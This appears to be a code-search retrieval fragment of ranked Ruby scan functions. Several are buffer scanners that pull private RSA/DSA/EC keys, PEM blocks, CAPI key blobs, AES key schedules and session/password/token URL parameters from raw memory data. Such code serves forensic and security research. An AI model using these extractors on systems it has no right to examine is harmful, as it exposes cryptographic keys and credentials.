"text": "def scan(buffer, source_offset)\n\n buffer.scan(\n # Look for a DER record start (0x30), a length value, and a version marker. \n # This identifies RSA, DSA, and EC keys\n /\\x30.{1,5}\\x02\\x01(?:\\x00\\x02|\\x01\\x04)/m\n ).each do |m|\n # This may hit an earlier identical match, but thats ok\n last_offset = buffer.index(m)\n next unless last_offset \n\n # Attempt to parse the key at the specified offset\n key_candidate = buffer[last_offset, 20000]\n key_type = nil\n key = nil\n\n [:RSA, :DSA, :EC ].each do |ktype|\n next unless OpenSSL::PKey.const_defined?(ktype)\n key_type = ktype\n key = OpenSSL::PKey.const_get(ktype).new(key_candidate) rescue nil\n break if key\n end\n\n # Ignore this if OpenSSL could not parse out a valid key\n next unless key\n\n report_hit(:type => \"#{key_type}\", :data => key.to_pem, :offset => source_offset + last_offset)\n end\n end",
"title": ""
}
] | [
{
"docid": "3f34d86df2a9f9cb643b06081db43085",
"score": "0.67316246",
"text": "def scan(buffer, source_offset)\n buffer.scan(\n /-----BEGIN\\s*[^\\-]+-----+\\r?\\n[^\\-]*-----END\\s*[^\\-]+-----\\r?\\n?/m\n ).each do |m|\n # This may hit an earlier identical match, but thats ok\n last_offset = buffer.index(m)\n report_hit(:plugin => self, :type => 'PEM', :data => m, :offset => source_offset + last_offset)\n last_offset += m.length\n end\n end",
"title": ""
},
{
"docid": "da2417ed2ac8f409638aa73a49a6df19",
"score": "0.63135624",
"text": "def scan(buffer, source_offset)\n buffer.scan(\n /[%a-z0-9_\\-=\\&]*(?:sid|session|sess|user|usr|login|pass|secret|token)[%a-z0-9_\\-=\\&]*=[%a-z0-9_\\-=&]+/mi\n ).each do |m|\n # This may hit an earlier identical match, but thats ok\n last_offset = buffer.index(m)\n report_hit(:type => 'URLParams', :data => m, :offset => source_offset + last_offset)\n last_offset += m.length\n end\n end",
"title": ""
},
{
"docid": "9998dc3000d185f0dc7ea666652d78be",
"score": "0.61262965",
"text": "def scan scanNum\n self.pos = @index[scanNum]\n get_scan_from_curr_pos\n end",
"title": ""
},
{
"docid": "3014badbe8e1701ebbecb0d913b270fc",
"score": "0.61194015",
"text": "def look_ahead(pos)\n offset = @index + pos - 1\n if @buffer.length < offset + 1\n char = @input.read(offset + 1 - @buffer.length)\n @buffer << char if not char.nil?\n end\n\n if offset < @buffer.length\n @buffer[offset]\n else\n :EOF\n end\n end",
"title": ""
},
{
"docid": "d13b648337a257666d54f8b04d9208b4",
"score": "0.61161256",
"text": "def look_ahead(pos)\n offset = @index + pos - 1\n if @buffer.length < offset + 1\n char = @input.read(offset + 1 - @buffer.length)\n @buffer << char if not char.nil?\n end\n\n if offset < @buffer.length\n @buffer[offset]\n else\n EOF\n end\n end",
"title": ""
},
{
"docid": "684527ae873985a8f7cf033dbfbf2ef5",
"score": "0.6095181",
"text": "def scan!\n find_match until @scanner.eos?\n end",
"title": ""
},
{
"docid": "0ddc7b2b9dbc500078bd6777d5d91d93",
"score": "0.60187185",
"text": "def scan_for_at(token); end",
"title": ""
},
{
"docid": "3e753837ba3447076fbe452264969456",
"score": "0.60165644",
"text": "def scan(buffer, source_offset)\n\n buffer.scan(\n /[\\x06\\x07]\\x02.{6}(?:RSA1|RSA2|DSS1|DSS2).{20}/\n ).each do |m|\n # This may hit an earlier identical match, but thats ok\n last_offset = buffer.index(m)\n next unless last_offset \n\n # Attempt to parse the key at the specified offset\n key_candidate = buffer[last_offset, 20000]\n key_type = \"\"\n key = nil\n\n bits = key_candidate.unpack(\"CCA6A4V\")\n key_type << ( bits[3] + \"-\" + bits[4].to_s + \"-\" )\n key_type << ( (bits[0] == 0x07) ? \"Private\" : \"Public\" )\n\n key_length = 0\n nbyte = (bits[4] + 7) >> 3\n hnbyte = (bits[4] + 15) >> 4 \n\n # DSA\n if bits[3].index('DSS')\n if bits[0] == 0x06\n # Expected length: 20 for q + 3 components bitlen each + 24 for seed structure.\n key_length = 44 + (3 * nbyte)\n else\n # Expected length: 20 for q, priv, 2 bitlen components + 24 for seed structure.\n key_length = 64 + (2 * nbyte)\n end\n # RSA\n else\n if bits[0] == 0x06\n # Expected length: 4 for 'e' + 'n'\n key_length = 4 + nbyte\n else\n # Expected length: 4 for 'e' and 7 other components. 2 components are bitlen size, 5 are bitlen/2\n key_length = 4 + (2 * nbyte) + (5 * hnbyte)\n end\n end\n\n key = buffer[last_offset, key_length + 16]\n next unless key.length == (key_length+16)\n\n report_hit(:type => \"CAPI-#{key_type}\", :data => key, :offset => source_offset + last_offset)\n end\n end",
"title": ""
},
{
"docid": "ed0939576497dfb28fccae2f626bc1d3",
"score": "0.5952058",
"text": "def scan(buffer, source_offset)\n\n blen = buffer.length\n entropic(buffer, AES_KEYBLOCK_MIN, ENTROPIC_MIN) do |i|\n\n # Exit if we dont have at least 240 bytes left\n return if (i + 240) > blen\n\n # Create a byte map to work in both little and big endian formats\n #[\"V\", \"N\"].each do |endian|\n\n [\"V\"].each do |endian|\n bmap = buffer[i, 240].unpack(\"#{endian}*\")\n\n # Check distance from 256-bit AES key\n xor_count_256 = 0\n 1.upto(7) do |row|\n 0.upto(7) do |column|\n break if (row == 7 and column == 4)\n case column\n when 0\n xor_count_256 += aes_popcount( aes_key_core( bmap[8*row-1], row) ^ bmap[8*(row-1)] ^ bmap[8*row] )\n when 4\n xor_count_256 += aes_popcount( aes_sbox_bytes( bmap[8*row+3]) ^ bmap[8*(row-1)+4] ^ bmap[8*row+4])\n else\n xor_count_256 += aes_popcount( bmap[8*row+column-1] ^ bmap[8*(row-1)+column] ^ bmap[8*row + column])\n end\n end\n end\n\n # We found a possible AES-256 key\n unless xor_count_256 > AES_XOR_LIMIT\n report_hit(:type => \"Key(AES-256)\", :data => bmap[0, 256/32].pack(\"#{endian}*\").unpack(\"C*\").map{|x| \"%.2x\" % x }.join, :offset => source_offset + i)\n next\n end\n\n # Check distance from 128-bit AES key\n xor_count_128 = 0\n 1.upto(10) do |row|\n 0.upto(3) do |column|\n before_count = xor_count_128\n case column\n when 0 \n xor_count_128 += aes_popcount( aes_key_core( bmap[4*row-1],row) ^ bmap[4*(row-1)] ^ bmap[4*row])\n else\n xor_count_128 += aes_popcount( (bmap[4*row + column-1] ^ bmap[4*(row-1)+column]) ^ bmap[4*row + column])\n end\n end\n end\n\n # We found a possible AES-128 key\n unless xor_count_128 > AES_XOR_LIMIT\n report_hit(:type => \"Key(AES-128)\", :data => bmap[0, 128/32].pack(\"#{endian}*\").unpack(\"C*\").map{|x| \"%.2x\" % x }.join, :offset => source_offset + i)\n end\n end\n end\n\n end",
"title": ""
},
{
"docid": "a491688354b033c1caf2b0f5cadbbdf6",
"score": "0.5832679",
"text": "def scan(count)\n scanned = tape.slice(position, count)\n move_to(position + count - 1)\n scanned\n end",
"title": ""
},
{
"docid": "d2780f515d338803170fa6fe7ac0679a",
"score": "0.5802369",
"text": "def scan(pattern)\n _scan_headonly(pattern, true, true)\n end",
"title": ""
},
{
"docid": "f3682ad262cde38f7098d58c14a512b7",
"score": "0.57361925",
"text": "def scan(pattern)\n do_scan pattern, true, true, true\n end",
"title": ""
},
{
"docid": "95a5f04fd8d2f555556f12b91f41dbb4",
"score": "0.5713859",
"text": "def next_scan \n lastPos = self.pos\n while (!self.eof )\n l = self.readline\n break if l =~ /\\<scan|\\<spectrum\\s/\n lastPos = self.pos\n end\n self.pos = lastPos\n get_scan_from_curr_pos\n end",
"title": ""
},
{
"docid": "0aede8821936c2a39ef51c819e0221fb",
"score": "0.5578522",
"text": "def scan(pattern, &blk)\n @string.scan(pattern, &blk)\n end",
"title": ""
},
{
"docid": "0aede8821936c2a39ef51c819e0221fb",
"score": "0.5578522",
"text": "def scan(pattern, &blk)\n @string.scan(pattern, &blk)\n end",
"title": ""
},
{
"docid": "cecd919a25a8e199ab700b4ba6a7b4f5",
"score": "0.555038",
"text": "def scan(pattern); end",
"title": ""
},
{
"docid": "77f4181a86429f6b760fdee31420e73d",
"score": "0.53760266",
"text": "def advance\n buffer_available_data\n @cursor = @buffer.length\n end",
"title": ""
},
{
"docid": "00549eb191558414b787fd3f8cc2ada1",
"score": "0.53590393",
"text": "def scan_full(pattern, advance_pointer, return_string)\n do_scan pattern, advance_pointer, return_string, true\n end",
"title": ""
},
{
"docid": "7f658686ee7e240324b319aa671853b0",
"score": "0.53078026",
"text": "def next(buffer)\r\n unless @active && @old_buffer == buffer\r\n @active = source.rebuild(buffer)\r\n end\r\n\r\n if @active\r\n @old_buffer = source.next\r\n else\r\n @old_buffer = nil\r\n end\r\n end",
"title": ""
},
{
"docid": "abe3f3b8c7984ed367301a24f67ecf3c",
"score": "0.52927905",
"text": "def zscan(key, cursor, **options); end",
"title": ""
},
{
"docid": "abd6aad7982fa305c8f436daad9fdcbb",
"score": "0.52372926",
"text": "def read_pointer(buffer, offset = 0)\n unpack_pointer(buffer[offset, (offset + pointer_size)])\n end",
"title": ""
},
{
"docid": "c129811837f5ee764625f4365851de12",
"score": "0.52195096",
"text": "def next\n\t\t@ibuf = (@ibuf+1).modulo(@nbuf)\n\t\t@buffers[@ibuf]\n\tend",
"title": ""
},
{
"docid": "3532fabe8ed00083e2db9ac3809fb3f3",
"score": "0.52040505",
"text": "def match_next(pattern,mms,buf_size=524288)\r\n while true\r\n start_pos = @io.pos-@buffer.length\r\n result = pattern.match(@buffer)\r\n if result\r\n offset_begin, offset_end = result.offset(0)\r\n @buffer = @buffer[offset_end,@buffer.length]\r\n return [result,start_pos+offset_begin,start_pos+offset_end]\r\n else\r\n return nil if @io.eof?\r\n @buffer = @buffer[-mms..-1] if @buffer.length>mms # backup by one mms\r\n @buffer << (@io.read(buf_size) || '')\r\n end\r\n end\r\n\r\n end",
"title": ""
},
{
"docid": "8fb7b495508978e21ab60f74e2b6c862",
"score": "0.5202515",
"text": "def scan(pattern)\n self.checkpoint()\n result = self.old_scan(pattern)\n return result if result\n self.rollback()\n return result\n end",
"title": ""
},
{
"docid": "17950408003085d8214b539495b50e8e",
"score": "0.51704544",
"text": "def scan_next(pattern)\n return unless @s.scan_until(pattern)\n @s.matched\n end",
"title": ""
},
{
"docid": "ae3022157b39c6b201251e8841942de4",
"score": "0.5154915",
"text": "def seek stream=@stream, spec={}\n unless stream.is_a?(NokoScanner)\n stream, spec = @stream, stream\n end\n while stream.more?\n mtch = (block_given? ? yield(stream) : match(spec, stream: stream))\n return mtch if mtch.success?\n stream = mtch.next\n end\n end",
"title": ""
},
{
"docid": "0b28840efb0194fb600d67c6a2b8595e",
"score": "0.5115859",
"text": "def [](offset, length = nil)\n base_length = length || 1\n while offset + base_length > @buffer.size\n return (length.nil? ? nil : @buffer[offset, @buffer.size]) if stream_is_done?\n @buffer.push(@stream.readline.rstrip)\n end\n\n length.nil? ? @buffer[offset] : @buffer[offset, length]\n end",
"title": ""
},
{
"docid": "65ef66ea9599f9c4525ce0ecf72c3e68",
"score": "0.51052576",
"text": "def scan_mark(x)\n execute_only(:scan, :mark, x)\n end",
"title": ""
},
{
"docid": "66bc917295c688ffd3f8f93141ae6248",
"score": "0.5103347",
"text": "def read(buf, offset, len)\n @logger.debug(\"StreamReader::read #{offset} #{len} | stream index: #{@index} stream length: #{@stream_buffer_length}\")\n are_all_bytes_available = true\n if @index + len - offset > @stream_buffer_length\n are_all_bytes_available = fill_stream_buffer(@index + len - offset - @stream_buffer_length)\n end\n\n if (@stream_buffer_length - @index) < len\n len = @stream_buffer_length - @index\n @logger.debug(\"StreamReader::read #{offset} Actual length: #{len}\")\n end\n\n if len > 0\n #TODO: optimize this\n jv_string = @stream_buffer[@index..@index+len-1].to_java\n jv_bytes_array = jv_string.toCharArray()\n java::lang::System.arraycopy(jv_bytes_array, 0, buf, offset, len)\n\n @index = @index + len\n end\n\n if !are_all_bytes_available && len == 0\n @logger.debug(\"StreamReader::read end of stream\")\n return -1\n else\n return len\n end\n\n rescue java::lang::IndexOutOfBoundsException => e\n @logger.debug(\"StreamReader::read IndexOutOfBoundsException\")\n raise e\n rescue java::lang::ArrayStoreException => e\n @logger.debug(\"StreamReader::read ArrayStoreException\")\n raise e\n rescue java::lang::NullPointerException => e\n @logger.debug(\"StreamReader::read NullPointerException\")\n raise e\n end",
"title": ""
},
{
"docid": "192059c5879a0a0443cc42de5a795b1f",
"score": "0.5100601",
"text": "def offset_to(source_position, pattern, offset = 0)\n actual_line = source_position.line - 1\n actual_offset = source_position.offset + offset - 1\n\n return nil if actual_line >= engine.lines.size\n\n actual_index = engine.lines[actual_line].index(pattern, actual_offset)\n\n actual_index && actual_index + 1 - source_position.offset\n end",
"title": ""
},
{
"docid": "f351c0f7df87600a5a4c27b5762dfe18",
"score": "0.50812393",
"text": "def start_with(source)\n @scanner.string = source\n @lineno = 1\n @line_start = 0\n end",
"title": ""
},
{
"docid": "66edcc7408167d3e16c55e914e418ac7",
"score": "0.5041395",
"text": "def cursor(buffer_offset)\n new_cursor = BufferCursor.new(@buffer, buffer_offset)\n new_cursor.push_name(\"space[#{space.name}]\")\n new_cursor.push_name(\"page[#{name}]\")\n\n if block_given?\n # Call the block once and return its return value.\n yield new_cursor\n else\n # Return the cursor itself.\n new_cursor\n end\n end",
"title": ""
},
{
"docid": "6448e4584bdc1c2c2e5d4ed1842a8e7a",
"score": "0.5032427",
"text": "def search_full(pattern, advance_pointer, return_string)\n do_scan pattern, advance_pointer, return_string, false\n end",
"title": ""
},
{
"docid": "14a4ac7b62ad033eedbf0698ba6de0d7",
"score": "0.5029424",
"text": "def scan; return nil; end",
"title": ""
},
{
"docid": "a67a336087614ba5ddb6246862e08690",
"score": "0.5014733",
"text": "def scan(regex)\n while @scanner.scan_until(regex)\n match = @scanner.matched\n position = @scanner.charpos - match.length\n yield match, position, match.length\n end\n end",
"title": ""
},
{
"docid": "e2f3e14c5dd12f0e89b04f39240d98bd",
"score": "0.49799865",
"text": "def scan_until(pattern)\n _scan(pattern, true, true)\n end",
"title": ""
},
{
"docid": "80e2143aeaefbd0d56468ad6ba5a9f84",
"score": "0.49640083",
"text": "def read_and_advance(length)\n data = nil\n cursor_start = current.position\n case current.direction\n when :forward\n data = @buffer.slice(current.position, length)\n adjust(length)\n when :backward\n adjust(-length)\n data = @buffer.slice(current.position, length)\n end\n\n record_trace(cursor_start, data.bytes, current.name)\n data\n end",
"title": ""
},
{
"docid": "13894bd56a8ee0d61975429a73a330bc",
"score": "0.49357405",
"text": "def scan\n @client.execute_udf(@key, @PACKAGE_NAME, 'scan', [@bin_name], @policy)\n end",
"title": ""
},
{
"docid": "80e24d5cea363f1ab912c70ef65c0f14",
"score": "0.4929167",
"text": "def actual_buffer(offset=0)\n @transfer[:buffer].get_bytes(offset, @transfer[:actual_length])\n end",
"title": ""
},
{
"docid": "7c444f4631d405a9d4a5da9a32141f2c",
"score": "0.48857886",
"text": "def scan(i, opts={})\r\n refresh opts\r\n memt = @memlist[i]\r\n if memt[1] > 4096\r\n 0.step(memt[1], 4096) do |i|\r\n block = (memt[1] - i).cap(4096)\r\n yield read(memt[0] + i, block), memt[0]+i\r\n end\r\n else\r\n yield read(memt[0], memt[1]), memt[0]\r\n end\r\n end",
"title": ""
},
{
"docid": "b882453e9aa4f8eeab7dd7f67e5a88a7",
"score": "0.48818973",
"text": "def scan_until(pattern)\n do_scan pattern, true, true, false\n end",
"title": ""
},
{
"docid": "c028096c0e3874d33a5faeb0a95f94a7",
"score": "0.48582503",
"text": "def scan(s)\n until s.nil?\n len = s[0...2].ret2ushort\n ele = s[2...4].ret2ushort\n tpe = s[4...6].ret2ushort\n dat = s[6...len]\n if s.length > len\n s = s[len...s.length]\n else\n s = nil\n end\n case ele\n when Fields::DE32\n dat = scan(dat)\n when Fields::CALL_SEARCH_RESULT\n add_field(Fields::IRIS, dat[0...12])\n add_field(Fields::CALL_SEARCH_RESULT, dat[12...dat.length])\n next\n end\n add_field( ele, dat)\n end\n r\n end",
"title": ""
},
{
"docid": "bd1a6e04073e9621428b4757511da448",
"score": "0.48570064",
"text": "def find(what = $ruvim.input(@prompt), offset=0, direction=:bottom, continue=:top)\n\t\t\tposition = find_a($ruvim.buffer.index + offset, direction)\n\n\t\t\tif position.nil? then\n\t\t\t\t$ruvim.message \"Search Hit #{direction}. Continuing at #{continue}\"\n\t\t\t\tfrom = (direction == :bottom) ? 0 : $ruvim.editor.buffer.eof\n\t\t\t\tposition = find_a(from, direction)\n\n\t\t\t\treturn not_found if position.nil?\n\t\t\tend\n\t\t\t\n\t\t\t$ruvim.editor.goto(position)\n\t\tend",
"title": ""
},
{
"docid": "e5eaebaba2f7c216ee4d82586690a147",
"score": "0.48487353",
"text": "def read(offset, len)\n _isource.read(offset, len)\n end",
"title": ""
},
{
"docid": "a678a85db041228275cc7fa15a416266",
"score": "0.48422906",
"text": "def scan_until(pattern); end",
"title": ""
},
{
"docid": "4639c9e7dfafa771c9a9ec3da07e8252",
"score": "0.48384783",
"text": "def scan_tokens\n i = 0\n loop do\n break unless @tokens[i]\n move = yield(@tokens[i - 1], @tokens[i], @tokens[i + 1], i)\n i += move\n end\n end",
"title": ""
},
{
"docid": "4a9a54ff7b09309622ade609ebeab4dc",
"score": "0.48117998",
"text": "def scan_for_in(token); end",
"title": ""
},
{
"docid": "6e108f3b534ce86ecb7215e08a8a0db6",
"score": "0.48013502",
"text": "def source_buffer=(_arg0); end",
"title": ""
},
{
"docid": "35f03c672dcc716a0af12156887fc022",
"score": "0.47857338",
"text": "def buffer\n @line[@pos, @line.length - @pos] unless @line.nil?\n end",
"title": ""
},
{
"docid": "52bff2039a05cab5ab66ea3fa139ff57",
"score": "0.4778852",
"text": "def stream source, bit_len = 8\n buf = len = 0\n File.open source, 'r' do |f|\n loop do\n until len > bit_len\n byte = f.getbyte\n raise 'Source reached EOF' if byte.nil?\n len += 8\n buf <<= 8\n buf |= byte\n end\n yield (buf >> (len - bit_len))\n len -= bit_len\n buf &= ~(~0 << len)\n end\n end\n end",
"title": ""
},
{
"docid": "b902adcfc16062bed13a99ebac88375d",
"score": "0.47704852",
"text": "def forward(offset = 1)\n self[offset]\n @buffer.slice!(0, offset)\n end",
"title": ""
},
{
"docid": "9d769bd43eb7244317048448c74fbd25",
"score": "0.47671556",
"text": "def scan(x_pos, y_pos)\n items = collect_items(x_pos, y_pos)\n return if items.size.zero?\n\n items.each do |item|\n next if @result_collector.existing_result?(x_pos, y_pos)\n\n match_result(item, x_pos, y_pos)\n end\n end",
"title": ""
},
{
"docid": "4b95fa7dd6c91da0809cbb6acc2d2ff7",
"score": "0.47479528",
"text": "def read_buffer; end",
"title": ""
},
{
"docid": "89a0decc4a5703d72b00d3e2225e027f",
"score": "0.47367814",
"text": "def get_int1(offset)\n @buf[offset]\n end",
"title": ""
},
{
"docid": "1a4468f86b0c7b7c138e88b051ec83cd",
"score": "0.47248068",
"text": "def search_data(search) \n key = 0\n found = 0 \n @buffers[@active_buffer].last_displayed_line = 0\n @buffers[@active_buffer].clean_buffers_other_than([]) #clean all buffers\n @buffers[@active_buffer].add_previous_search(@buffers[@active_buffer-1].regex_array) \n while data = read_file(key) do \n break if data.length==1 \n set_data = @buffers[@active_buffer].loaded_data_size < @@BLOCK_SIZE*2 \n found += @buffers[@active_buffer].set_buffer_data(key,data,search,set_data)[1] \n key = @buffers[@active_buffer].get_next_buffer(key)\n break if key.nil? \n end\n Rula.log(Logger::INFO,\"Found #{found} items\",self) \n @file_eof = false\n end",
"title": ""
},
{
"docid": "6aacf66a3e0246ca4319ff2a628639f0",
"score": "0.47183993",
"text": "def scan\n PS2.scan(@options.scan, @options)\n end",
"title": ""
},
{
"docid": "53d0d33948b41976b5c1fc64e19dbbf3",
"score": "0.47115734",
"text": "def stream_in byte\r\n if @cursor > @data.size\r\n (@cursor - @data.size).times {|c| @data.push nil}\r\n end\r\n @data[@cursor] = byte\r\n @cursor += 1\r\n end",
"title": ""
},
{
"docid": "2ced9bbc10179d57229dbc1df81df739",
"score": "0.4708435",
"text": "def call(buffer)\n return if @block.nil?\n\n to_call = @block\n to_call.call(self, slice_from_buffer(buffer))\n end",
"title": ""
},
{
"docid": "17512b3e85bd1ccb6419147a3ec98338",
"score": "0.4701701",
"text": "def read_next()\n return nil if @at_end\n\n begin\n pos = @marker.position\n\n if @marker.character == ?\\n\n pos.line += 1\n pos.column = 0\n end\n\n @marker.character = @reader.next\n @marker.source_index += 1\n pos.column += 1\n rescue StopIteration\n @at_end = true\n @marker.character = nil\n end\n\n @marker.character\n end",
"title": ""
},
{
"docid": "0b4e634b60da1736232c11335c541bb0",
"score": "0.46947074",
"text": "def position_in_source\n pos = @locator.pos_on_line(lexing_context[:offset])\n offset = @locator.char_offset(lexing_context[:offset])\n length = @locator.char_length(lexing_context[:offset], lexing_context[:end_offset])\n start_line = @locator.line_for_offset(lexing_context[:offset])\n\n return { :line => start_line, :pos => pos, :offset => offset, :length => length}\n end",
"title": ""
},
{
"docid": "e90b01d3e0ae0dcb1868ebeda77d9f53",
"score": "0.46715012",
"text": "def scan_full(pattern, succptr, getstr)\n _scan_headonly(pattern, succptr, getstr)\n end",
"title": ""
},
{
"docid": "abb5957134c54a53fd7b76bdab95606a",
"score": "0.46689722",
"text": "def complete_scan()\n enqueue_eos_marker()\n end",
"title": ""
},
{
"docid": "9a37eef8d9bdcc957803a41e6f921132",
"score": "0.46664545",
"text": "def read_into_buffer(buffer, size)\n tmp = read_all(size)\n i = 0\n tmp.each_byte do |byte|\n Bytes.set_string_byte(buffer, i, byte)\n i += 1\n end\n i\n end",
"title": ""
},
{
"docid": "f8bef9ae2b4c9282c7f56ce6c8fb8fed",
"score": "0.46651095",
"text": "def scan_for_on(token); end",
"title": ""
},
{
"docid": "52851ec1ab8fcd79f2e4706d10d20d7e",
"score": "0.4660268",
"text": "def the_scanner\n @src_scanner\n end",
"title": ""
},
{
"docid": "8a3250906279519f8a84f529f397159d",
"score": "0.46522307",
"text": "def gets_buffer(*a)\n @device.buffer\n end",
"title": ""
},
{
"docid": "b98a0cfa2e228b02bb162898fc43e69c",
"score": "0.4648746",
"text": "def look_ahead(kclass, index, char, buffer, classified_sentence, nivel_parentese)\n if @raw[index + 1] && kclass::REGEX.match( \"#{buffer}#{char}#{@raw[index + 1]}\" )\n buffer.concat char\n else\n classified_sentence.push kclass.new(buffer+char)\n buffer.clear\n end\n end",
"title": ""
},
{
"docid": "ff58d656b45606611f8f69550ce22fe3",
"score": "0.46426043",
"text": "def scanning(aParsing, aTerminal, aPosition, aTracer)\n if aTracer.level > 1\n prefix = \"Chart[#{aPosition}] Scanning of terminal \"\n suffix = \"#{aTerminal.name}:\"\n puts prefix + suffix\n end\n aParsing.scanning(aTerminal, aPosition) do |item|\n next_mapping[item]\n end\n end",
"title": ""
},
{
"docid": "c0e16ae465152e923c0df1390061090e",
"score": "0.46326074",
"text": "def consume_seek(pos)\n orig = consume_pos\n if pos < 0\n pos = consume_pos + pos\n pos = 0 if pos < 0\n end\n @consume_pos = pos\n orig\n end",
"title": ""
},
{
"docid": "a4acdfe931bd5eaf0168f8899d467b57",
"score": "0.462883",
"text": "def read(pos)\n end",
"title": ""
},
{
"docid": "d447fd17ce86c9949ada779745879c23",
"score": "0.4599702",
"text": "def consumed\n input[0, max_offset]\n end",
"title": ""
},
{
"docid": "7c278da92db24da19ae9cfd4c551d0bf",
"score": "0.45969966",
"text": "def scan(line)\r\n @current_filter.append(line)\r\n @parser.skip_line\r\n end",
"title": ""
},
{
"docid": "d22bcb4f2f12483f68425b26471cc087",
"score": "0.45948067",
"text": "def consume_pattern(pattern)\n m = @stream.match pattern\n return if m.nil?\n\n debug \"Consuming n=#{m.end(0)} chars after matching #{m[0]} from #{@stream}...\", :verbose\n consume m.end(0)\n m[0]\n end",
"title": ""
},
{
"docid": "132e6959dda5e3a784bab6ca17ed39d7",
"score": "0.45791608",
"text": "def unbuffered_seek(offset, whence = IO::SEEK_SET)\n unless offset == 0 &&\n ((whence == IO::SEEK_SET && @io.respond_to?(:rewind)) ||\n whence == IO::SEEK_CUR) then\n raise Errno::EINVAL\n end\n\n case whence\n when IO::SEEK_SET\n io.rewind\n initialize_keys\n @total_bytes_out = 0\n when IO::SEEK_CUR\n @total_bytes_out\n end\n end",
"title": ""
},
{
"docid": "37613247de79587f45a458de204b6cc2",
"score": "0.45708817",
"text": "def unbuffered_seek(offset, whence = IO::SEEK_SET)\n unless offset == 0 &&\n ((whence == IO::SEEK_SET && @io.respond_to?(:rewind)) ||\n whence == IO::SEEK_CUR) then\n raise Errno::EINVAL\n end\n\n case whence\n when IO::SEEK_SET\n io.rewind\n @encrypt_buffer = ''\n initialize_keys\n @total_bytes_in = 0\n when IO::SEEK_CUR\n @total_bytes_in\n end\n end",
"title": ""
},
{
"docid": "9a7f6c3cf9291092c6f9821c07e5be0e",
"score": "0.45683274",
"text": "def start_scanning(p_path)\n\n # Store path, start reader\n @current_path = p_path\n create_timer({ :sym => :scanner })\n end",
"title": ""
},
{
"docid": "8ef11d988c22229d337b4c3495d47f66",
"score": "0.4567583",
"text": "def parse(source_buffer); end",
"title": ""
},
{
"docid": "8ef11d988c22229d337b4c3495d47f66",
"score": "0.4567583",
"text": "def parse(source_buffer); end",
"title": ""
},
{
"docid": "8ef11d988c22229d337b4c3495d47f66",
"score": "0.4567583",
"text": "def parse(source_buffer); end",
"title": ""
},
{
"docid": "113752f0cd9071039426f07cc8e349d8",
"score": "0.45549357",
"text": "def read_until(pattern)\n\t\t\t\tindex = @read_buffer.index(pattern)\n\t\t\t\t\n\t\t\t\tuntil index\n\t\t\t\t\toffset = @read_buffer.size\n\n\t\t\t\t\tfill_read_buffer\n\t\t\t\t\t\n\t\t\t\t\treturn if @eof\n\n\t\t\t\t\tindex = @read_buffer.index(pattern, offset)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tmatched = @read_buffer.slice!(0, index)\n\t\t\t\t@read_buffer.slice!(0, pattern.bytesize)\n\t\t\t\t\n\t\t\t\treturn matched\n\t\t\tend",
"title": ""
},
{
"docid": "90e437ce958a4dbb7031093c9495707d",
"score": "0.45537794",
"text": "def buffered!(len=nil, buffer_name=:default, opts={}, &block)\n semaphore.synchronize {\n ret, still_to_get = buffer(buffer_name, opts[:type]).offset!(len)\n if still_to_get > 0\n src_data = Support::Utils.send_all_or_no_args(block, still_to_get)\n called_for = src_data.slice!(0, still_to_get)\n ret.concat(called_for)\n buffer(buffer_name).concat(src_data)\n end\n ret\n }\n end",
"title": ""
},
{
"docid": "fa71b7021b7d619d5435757197e2f311",
"score": "0.4551196",
"text": "def offset(*) end",
"title": ""
},
{
"docid": "c1d26e4f189a940cd6067413d50fb669",
"score": "0.45483539",
"text": "def peek(src)\n ctx = src.is_a?(Context) ? src : Context.new(src)\n starting_pos = ctx.bio.pos\n begin\n parse ctx\n ensure\n ctx.bio.restore_to starting_pos\n end\n end",
"title": ""
},
{
"docid": "59f9c2081d3b44ea550c2b2ae7acacb5",
"score": "0.45474985",
"text": "def unbuffered_seek(offset, whence = IO::SEEK_SET)\n unless offset == 0 &&\n ((whence == IO::SEEK_SET && @io.respond_to?(:rewind)) ||\n whence == IO::SEEK_CUR) then\n raise Errno::EINVAL\n end\n\n case whence\n when IO::SEEK_SET\n @io.rewind\n @total_bytes_in = 0\n when IO::SEEK_CUR\n @total_bytes_in\n end\n end",
"title": ""
},
{
"docid": "60aa6f687f43394176616f506f6333cc",
"score": "0.4546016",
"text": "def pread_pass_through(nbytes:, offset:, buffer:, timeout:)\n invalidate!\n @io.__pread__(nbytes: nbytes, offset: offset, buffer: buffer, timeout: timeout)\n end",
"title": ""
},
{
"docid": "aefbb372f7f64649ad3e6540b05492f4",
"score": "0.4537154",
"text": "def read( start_position )\n pos = start_position.adjusted_stream_position\n line_number = column_number = 0\n\n if @source.at_eof?(stream_position) then\n line_number = @source.eof_line_number\n column_number = @source.eof_column_number\n else\n line_number = @source.line_number(stream_position)\n column_number = @source.column_number(stream_position)\n end\n \n characters = []\n states = [ start_position.state ]\n\n forever do\n c = readc(pos)\n action = states[-1].action_for( c )\n \n case action\n \n #\n # Read a single character and prepare to move on.\n \n when Plan::Actions::Read\n characters << c\n states << action.to_state\n pos += 1\n \n \n #\n # Group several characters for further processing. Unlike in the Parser, we\n # perform the Shift here directly. We don't move the pos, because nothing was\n # used.\n \n when Plan::Actions::Group\n length = action.by_production.length\n group = characters.slice!(-length..-1)\n states.slice!(-length..-1)\n states << states[-1].action_for(action.by_production.name).to_state\n characters << group\n\n\n #\n # Tokenize ends the read() operation. We set our answer into the start_position\n # and return.\n \n when Plan::Actions::Tokenize\n length = action.by_production.length\n if characters.length == length then\n start_position.determinant = Nodes::Token.new( characters.flatten, action.by_production.name, start_position.adjusted_stream_position, line_number, column_number, @source )\n break\n else\n nyi( \"error handling for too short Tokenize\" )\n end\n \n \n #\n # For lexical stuff, all Attempt actions will be of the same type. For Group\n # actions, we want the longest match (always), so we need to try all branches\n # and find the longest Token produced. For Tokenize, we need to interact with\n # the Parser's BranchInfo system.\n \n when Plan::Actions::Attempt\n case action.actions[0]\n when Plan::Actions::Group\n nyi()\n when Plan::Actions::Tokenize\n nyi()\n else\n nyi( \"attempt support for #{action.actions[0].class.name}\" )\n end\n \n \n #\n # If there is no action, we've got an error.\n \n when NilClass\n nyi( \"error\" )\n \n else\n nyi( \"not supported\", action )\n end\n end\n end",
"title": ""
},
{
"docid": "901c4479189e60ffe49184bdaa99f0ff",
"score": "0.4535539",
"text": "def source_buffer; end",
"title": ""
},
{
"docid": "901c4479189e60ffe49184bdaa99f0ff",
"score": "0.4535539",
"text": "def source_buffer; end",
"title": ""
},
{
"docid": "901c4479189e60ffe49184bdaa99f0ff",
"score": "0.4535539",
"text": "def source_buffer; end",
"title": ""
},
{
"docid": "4801bd072f8ebdc59aa8d90ed29fe435",
